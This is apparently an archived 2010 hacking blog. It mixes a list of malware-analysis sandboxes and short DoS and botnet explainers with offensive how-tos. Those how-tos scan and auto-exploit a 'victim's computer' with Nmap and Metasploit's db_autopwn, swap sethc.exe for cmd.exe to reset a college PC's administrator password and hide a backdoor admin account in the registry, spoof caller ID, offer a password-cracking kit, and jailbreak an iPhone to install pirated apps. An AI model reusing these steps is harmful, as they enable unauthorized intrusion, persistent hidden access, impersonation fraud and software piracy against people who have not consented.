About : Anubis is a tool for analyzing the behavior of Windows PE-executables with special focus on the analysis of malware. Execution of Anubis results in the generation of a report file that contains enough information to give a human user a very good impression about the purpose and the actions of the analyzed binary. The generated report includes detailed data about modifications made to the Windows registry or the file system, about interactions with the Windows Service Manager or other processes and of course it logs all generated network traffic. The analysis is based on running the binary in an emulated environment and watching i.e. analyzing its execution. The analysis focuses on the security-relevant aspects of a program's actions, which makes the analysis process easier and because the domain is more fine-grained it allows for more precise results. It is the ideal tool for the malware and virus interested person to get a quick understanding of the purpose of an unknown binary.
URL : ThreatExpert
About : ThreatExpert (patent pending) is an advanced automated threat analysis system (ATAS) designed to analyze and report the behavior of computer viruses, worms, trojans, adware, spyware, and other security-related risks in a fully automated mode.
The ThreatExpert system produces reports with the level of technical detail that matches or exceeds antivirus industry standards such as those found in online virus encyclopedias.
URL : ViruSCAN
About : VirSCAN.org is a FREE on-line scan service, which checks uploaded files for malware, using antivirus engines, indicated in the VirSCAN list. On uploading files you want to be checked, you can see the result of scanning and how dangerous and harmful/harmless for your computer those files are.
URL : UploadMalware
About : UploadMalware.com is an easy way for you to submit files for analysis by anti-malware and security professionals.

URL : CWSandbox
About : Sunbelt CWSandbox provides fast analysis of virus, spyware, trojan, or other malware samples. CWSandbox enables the automatic collection of malware from different inputs including Nepenthes, a web server/interface, or a directory.
Rapidly analyze behavior of malware - including infected trojans, Office documents, browser helper objects (BHOs), malicious URLs and more - by executing the code inside a controlled environment, the Sunbelt malware sandbox!
URL : Norman Sadbox
About : Norman Sandbox offers -

Free uploads of program files that you suspect are malicious or infected by malicious components, and instant analysis by Norman SandBox. The result is also sent you by email.
In-depth information about the analysis performed by Norman SandBox of each malicious file that is uploaded. Search facility in all analyses after Registry keys, file names, etc.
Comprehensive statistics of files that are uploaded to Norman SandBox center during the latest day, week and month. You will then be able to see tendencies in the creation of malicious software.

URL : Joebox
About : Joebox is a simple sandbox application with a unique special concept. It is designed for automatic behaviour analysis of malware on Windows based operating systems.
URL : Microsoft Malware Protection
About : The Microsoft Malware Protection Center (MMPC) provides world class antimalware research and response capabilities that support Microsoft's range of security products and services. With laboratories in multiple locations around the globe the MMPC is able to respond quickly and effectively to new malicious and potentially unwanted software threats wherever and whenever they arise.
URL : SuspectFile
About : ItS not english.I don't understand it . Use a translator if you are interested very much
URL : F-Secure Sample Analysis System
About : It requires registration for a person to submit samples, but registration is free

URL : Wepawet
About : Wepawet is a service for detecting and analyzing web-based malware. It currently handles Flash and JavaScript files. Things you can do with Wepawet -

Determine if a page or file is malicious
Analyze a malicious resource
Identify the attacks launched by a malicious resource

URL : Eureka Malware Analysis Page
About : Eureka is a binary static analysis preparation framework. It implements a novel binary unpacking strategy based on statistical bigram analysis and coarse-grained execution tracing. Eureka incorporates advanced API deobfuscation capabilities to facilitate the structural analysis of the underlying malware logic. For each uploaded binary, the Eureka service will attempt to unpack and disassemble the binary, and will produce an annotated callgraph, subroutine/data index page, strings summary, and list of embedded DNS entries.
URL : Comodo Instant Malware Analysis
About : This is a secure malware analysis system which gives a detailed report of what an executable does including registry edits and creating of folders and deleting them.
URL : NoVirusthanks
About : Free service that allows users to upload and scan a file with 24 Antivirus Engines. Users can also scan a website url or a remote file with the option Scan Web Address.
URL : VirusTrap
About : VirusTrap is a commercial service for penetration testers, network auditors, system administrators who need to analyze unknown binaries during their work. Our scanner was made to help computer users identifying malicious files by scanning them with 25 antivirus engines.
URL : Online Virus Scan
About : VirusChief is a service that analyzes suspicious files and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines.Specs:
- Free, independent service
- Use of multiple antivirus engines
- Real-time automatic updates of virus signatures
- Detailed results from each antivirus engine
- Link output
- BB-Code output
- File deletion after the scan-report was generated
URL : FortiGaurd
About : Yet another malware scanner which lets you upload unknown binaries and gives you a report about them via email.
URL : Filterbit - OPSWAT Metascan
About : Powered by OPSWAT Metascan®, Filterbit™ is a free service where you can upload files for scanning, analysis and identification by multiple antivirus engines. Filterbit facilitates rapid detection of viruses, trojans, worms and other malware that may be contained within your uploaded files. In many cases, Filterbit can also scan, analyze and individually identify multiple files contained within a file archive such as Winzip, WinRar, PKZip and other types. Filterbit also analyzes the types of each uploaded file such as Microsoft Word, PDF, TXT and other types and reports this in a human readable format. Filterbit currently uses Metascan® antivirus engines from CA (Computer Associates), Norman Data Defense Systems, ClamAV, ESET, Microworld and VirusBuster.

How To Unlock Your BlackBerry Smartphone Free

2010-12-27T13:21:00.000-08:00

This is a tutorial on how to unlock your BlackBerry.
To my knowledge it works on all BlackBerry phones but i may be wrong.

1. Download and install Microsoft NET Framework 2.0

2. Download and install Blackberry desktop manager v4.7.0.32

3. Download and install Blackberry Operating System

4. Delete the vendor.xml file located in c:program filescommon filesresearch in motionapploader

5. Download and install MFI Multiloader.

6. Open MFI Multiloader shortcut on your PC and wait until shows up as:

7. Then your phone should be like this on screen:Unlocking a BlackBerry Pearl

8. Open Blackberry Desktop Manager on your PC and read how to update/reinstall BlackBerry Operating System explained below. How To update/ReInstall BlackBerry Operating System ? Connect your device to your computer. Open the BlackBerry® Desktop Manager. Click Application Loader. Click Start in Add/Remove Applications or Update Applications. If necessary, perform the following actions: If the Device Security Password dialog box appears, type your device password. Click Next. If the Communication Port Selection dialog box appears, specify a communications port. Click Next. Click Next. Perform any of the following actions: To add an application that appears in the list, select the check box beside the application. To add an application that does not appear in the list, click Browse. Double-click an application loader (.alx or .ali) file. Click Next.

9. Click Finish.

10. Congratulations, your BlackBerry unlock is done for free! You can now replace your SIM and memory card and set up your phone the way you like it.

How To Hack Victim,s Computer With Nmap And Metasploit

2010-12-27T13:19:00.000-08:00

Today I am writing a tutorial on hacking with Nmap with Metasploit. First d/l Metasploit from the official website,Link:
Code:
http://www.metasploit.com/

Let all that install, and towards the end of the installation it will ask if you would like Nmap installed also,
choose yes. Once you have that installed the Metasploit screen will open up as shown below...

Now type db_create

Once you have typed that type nmap

This loads nmap, as shown below....

You need to configure your scan now, I usually do a simple -sT -sV scan which will tell us the open ports and services running on the victims computer, Now type nmap -sT -sV xxx.xxx.xxx.x (X's being victims Ip number), Demonstrated below.

Now give it 5 minutes to complete the scan,Once that is complete if your lucky you should get a response like this...

This is basically a list of the open ports and services running on the target machine, Now the handy feature of the metasploit 3.3 framework is the autopwn feature, this basically searches and runs all matching exploits in the Metasploit database against the target machine and if successful will create a shell or similar privilege for the attacker.

Now once you have the nmap results delivered back to you showing the open ports and services type db_autopwn -p -t -e , From this point you will either have access to the victims computer through a successfully launched exploit or you will get a response saying the machine wasn't vulnerable to any of the exploits in the Metasploit database. Unfortunately on this particular machine I found it wasn't vulnerable as the image below proves.

The Difference Between a DoS and a DDoS Attack

2010-12-27T13:06:00.000-08:00

DoS = Denial Of Service

DDoS = Distributed Denial Of Service

--What is the difference between the two?
Whilst DoS and DDoS sound remarkably similar there are in fact differences between the two -
DoS

A DoS Attack is a Denial of Service attack.
This means that one computer and one internet connection is used to flood a server with packets (TCP / UDP).
The point of such a denial of service attack is to overload the targeted server’s bandwidth and other resources.
This will make the server inaccessible to others, thereby blocking the website or whatever else is hosted there.
DDoS

A DDoS Attack is a Distributed Denial of Service Attack.
In most respects it is similar to a DoS attack but the results are much, much different.
Instead of one computer and one internet connection the DDoS attack utilises many computers and many connections.
The computers behind such an attack are often distributed around the whole world and will be part of what is known as a botnet.
The main difference between a DDoS attack vs a DoS attack, therefore, is that the target server will be overload by hundreds or even thousands of requests in the case of the former as opposed to just one attacker in the case of the latter.
Therefore it is much, much harder for a server to withstand a DDoS attack as opposed to the simpler DoS incursion.

How To Jailbreak iPhone 4G

2010-12-27T13:02:00.000-08:00

Step 1: Download the Greenpois0n from http://cache.greenpois0n.com/dl/gp_win32_rc4.zip (if you think this link is infected search google for greenpois0n and download it )

Step 2: Extract and run greenpois0n,then plug in your Apple item.

Step 3: Turn your apple item off.

Step 4: Press “Prepare to Jailbreak (DFU)” button in greenpois0n, you will be guided by Greenpois0n on how to perform next steps.

Step 5: Follow the steps (try being exact),Once you’re in DFU mode, click the ‘Jailbreak!’ button to jailbreak your iPhone.

Step 6: Now, just wait until the status bar shows complete, and your device will reboot to the home screen.

Step 7: You should now have a new “Loader” icon on your springboard. Launch Loader. Select Cydia > Install Cydia.

Step 8: One Cydia has successfully been installed, you will be asked if you want to remove Loader. Hit “Remove” and you iPhone will automatically reboot.You will obtain a "Cydia" icon.

It is JailBreaked :) know lets work on cydia:

-Start “Cydia” on your iPhone.

-Touch on “Manage” tab on the bottom.

-Now touch on “Sources”

-Touch on “Edit” and then on “Add”. You will be prompted to enter a url source as seen in the screenshot below. Type “http://cydia.hackulo.us/” and touch on“Add Source” .

-Know Go and search for "Appsync" and select your version , I used for my Iphone "Appsync for 4.1 os"

-Know Go to itunes on your computer (you should have the apple item ex: iphone plugged into the pc), and download any application , then sync it into your Iphone.

-We are nearly done ,Open cydia and search for Installous 3 (Note : don't choose Install0us the one with "0")

- Open Installous and start downloading apps...enjoy

iphoneblogr.com

What Exactly Is A Botnet?

2010-12-27T12:50:00.000-08:00

A large number of computers that have been infected, and effectively hijacked, can be grouped together to achieve a common purpose.
This group of hijacked computers is commonly referred to as a ‘botnet’.

---what is a botnet?
Cyber criminals, who are often part of global syndicates, can remotely control all of the machines in a botnet whilst retaining almost complete anonymity.
Botnets are often utilised for a variety of purposes, all without the user’s knowledge.
These nefarious tasks include -
sending huge amounts of spam emails
launching denial of service attacks against targeted websites
spreading viruses
stealing personal information for identity theft attacks
Additionally, because botnets are controlled remotely, they can be used to install software, such as keyloggers, which can then be used for monitoring keystrokes on a computer keyboard.
This will then typically yield passwords and information about various accounts, such as bank accounts and social networking profiles, allowing the controller(s) of the botnet to commit fraud or propagate the hijacking through other sites.
At this moment in time there is no easy method of disabling botnets as those behind them are extremely clever at hiding their work and re-routing information in order to evade detection.
There are a large number of botnets in existence across the globe, the most notable of which is probably Waledec which is linked to the notoriousConficker worm, and may have several millions of computers in its network..

Recover deleted or corrupt photos

2010-12-19T23:55:00.000-08:00

Today I will provide a software named DiskInternals Flash Recovery 4.2 full download which can be used to recover deleted or corrupted photos within few seconds. It is the best tool from which you can recover all your deleted data from the flash memory cards used in cameras or for mobiles.

DiskInternals Flash Recovery is a flash memory file recovery tool that restores all corrupted and deleted photos or those that were lost due to hardware malfunction. This utility works even if a memory card was re-formatted.

Features:
• Easy Recovery Wizard.
• Can preview and recover JPEG, JPG, TIFF, BMP, PNG, GIF, TGA and other images.
• Can preview and recover RAW images:
• CRW - Canon Digital Camera Raw Image Format.
• CR2 - Canon Digital Camera Raw Image Format version 2.0.
• NEF - Nikon Digital SLR Camera Raw Image File.
• PEF - Pentax Raw Image Format
• RAF - Fuji CCD-RAW Graphic File.
• X3F - Sigma Camera RAW Picture File.
• BAY - Kodak/Roper Bayer Picture Sequence.
• ORF - Descent 3 Outrage Room Format.
• MRW - Minolta Diamage Raw Image File.
• RAW - Image Alchemy HSI Temporary Raw Bitmap
• SRF - Sony DSC-F828 Raw Image File.
• Other RAW images
• Works under Microsoft® Windows® 95, 98, ME, NT, 2000, XP, 2003 Server.
• Supported file systems: FAT12, FAT16, FAT32, NTFS (NT 4), NTFS5 (2000, XP).
• Recovered files can be saved on any (including network) disks visible to the host operating system.
• Creates recovery snapshot files for logical drives. Such files can be processed like regular disks.

DOWNLOAD

Password Breaking Tools Collection

2010-12-19T23:15:00.000-08:00

Time to get this key inside the lock to see whats inside the locket .yo with this cracking kit you can crack common files which are mostly locked by the owners..

This Password Hacking Kit Consists of following Password Hacking Breaking Tools:
1. PDF Password Remover
2. Windows XP Admin Password Remover
3. Zip File Password Cracker.
4. SQL Password Remover
5. Microsoft Office Password Remover.
6. Microsoft Windows Vista Password Remover.
7. Rar File Password Cracker
8. Windows Password Recovery Kit
9. Password Changer.
10. Distributed File Password Recovery..
and much more..

DOWNLOAD

Send Free text sms to all over the world......!

2010-12-15T08:01:00.000-08:00

Wana send sms to the friends but got no credit on the mobile then there is a alternative way you don't have wast money for sms because now the given below sends completely free sms to any country without signing or paying money...yo lets sent free sms for free..!

To send free sms goto http://smstexter.com/

   Enjoy for free ;)

How to Make Spoof Calls From Mobile Phone

2010-12-05T10:26:00.000-08:00

Earlier there was a call spoofing method but its not working now becoz as it is patched, But I have come across a new method fully working. Use it to call anyone using anybode else's number. You can also change your voice pitch so that the other person wont recognize you.

Warning-Only for educational purposes.

1. Open http://www.crazycall.net

2. Select your country and wait for the page to load.

3. Enter the number you want to display in the first big box (Dont change the contents of
small box if the fake number is of same country).

4. Enter the number you wish to call in
second big box.

5. Choose voice pitch as normal (for same
voice) or high or low pitch to change your
voice.

6. Click Get me a code.

7. Dial the number shown on right and
enter the shown code when asked.

And you are done your job.......!!

How to Backup Facebook Data into a zip file.

2010-12-04T11:42:00.000-08:00

May be many of us know about this but i thought good to post it as it will maybe help at least those who dont know about it...
Now , You can make backup all of your Facebook Photos, Links, informations, Wall Posts, Messages, Videos etc in a zip file and download it to save your Facebook data on your computer. So if you loose any of your Facebook contents, you can get them from saved backup file. Let's see how to do this job.
Yo the steps the mentioned below:

1. Login to your Facebook account.( now if you dont know how to do this then kill your self )

2. Now at the top right side, go to Account > Account Settings.

3. Now in the account settings page, You will see a line like "Download Your Information" with "learn more" link . Click on the learn more link.

4. Then you will come across a page like below.

5. Now click on download. And you will be prompted with downland confirmation. Again click on download. Then press ok.

6. Last time facebook will tell you that, "(Your download is currently being generated. You will receive an email when it's ready.)"

7. So after few times you should check your E-Mail account that is associated with this Facebook account. Facebook will send you the download link to thet email address. Click on this link, enter your Facebook password and download the zip file that contains all your Facebook data.

Most remarkable poetry's in my Life [we Da Lost Boyz]

2010-12-04T03:41:00.000-08:00

This image is made by AME (AHMED)

These are some pictures designed and customized by one of my best friend Faizan Ahemed to make them remarable. These are old pictures but very important for me as itz a good saying that OLD IS GOLD..in 2008 we wrote these poetry's and we where just like small kidz.

. and i use to study in Maram international school where my class was the only one where we all where from different region but very intimate with each other.We all have very great moments together and had Rocked the school . In our time we were the senior and we really changed the history structure of our school we made a lot of developments but at last we all got splinted because every one wanted to goto there country's although still some of us are in Saudi Arabia We had great team called LOST BOYZ the name was adopted by me and my one of best friend Ammar ,We adopted this name beocz we all were from different region with different religions but we never but this never made difference in our friendships. Some of my great friendz name are here:

Faizan (region India and Pakistan but now in America)
Ammar (living in Saudi Arabia region Pakistan)
Abudllah (living in Saudi Arabia region Pakistan
Ahmed (living in saudia atabia region Pakistan
Nawar (was living in Saudi Arabia but now living in syria)
Aron (living in Saudi Arabia region south Africa )
Noah (was living in Saudi Arabia but now living in Kenya)
Tayyab (living in Saudi Arabia region Pakistan)
Bassam (living in the Saudi Arabia region Pakistan)
Rehan (living in the Saudi Arabia region Bangladesh)
Alem (was living in Saudi Arabia but now in Afghanistan)

Really had a great time with my friends but missing them all hope we all will meet soon...

!.. LOSTBOYZ ROCK THE WORLD ..!

Hacking Guest Account to get full access to the Administrator Account.

2010-12-04T02:42:00.000-08:00

Ever wanted to hack your college pc with guest account or student account so that you can be hero among your friends, well there is a great way of hacking an administrator account from a guest account by which you can reset the administrator password and getting all the access as an administrator.. Enjoy

METHOD

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that -

Go to C:/windows/system32

Copy cmd.exe and paste it on desktop

rename cmd.exe to sethc.exe

Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.

Now Log out from your guest account and at the user select window,press shift key 5 times.

Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.

Now type “ NET USER ADMINISTRATOR " Now can be any password you like and press enter.

You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.

... woow....Magic you are Administrator..

Further..

Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever :)

I hope that was informative.. your comments are most welcomed.. feel free to comment..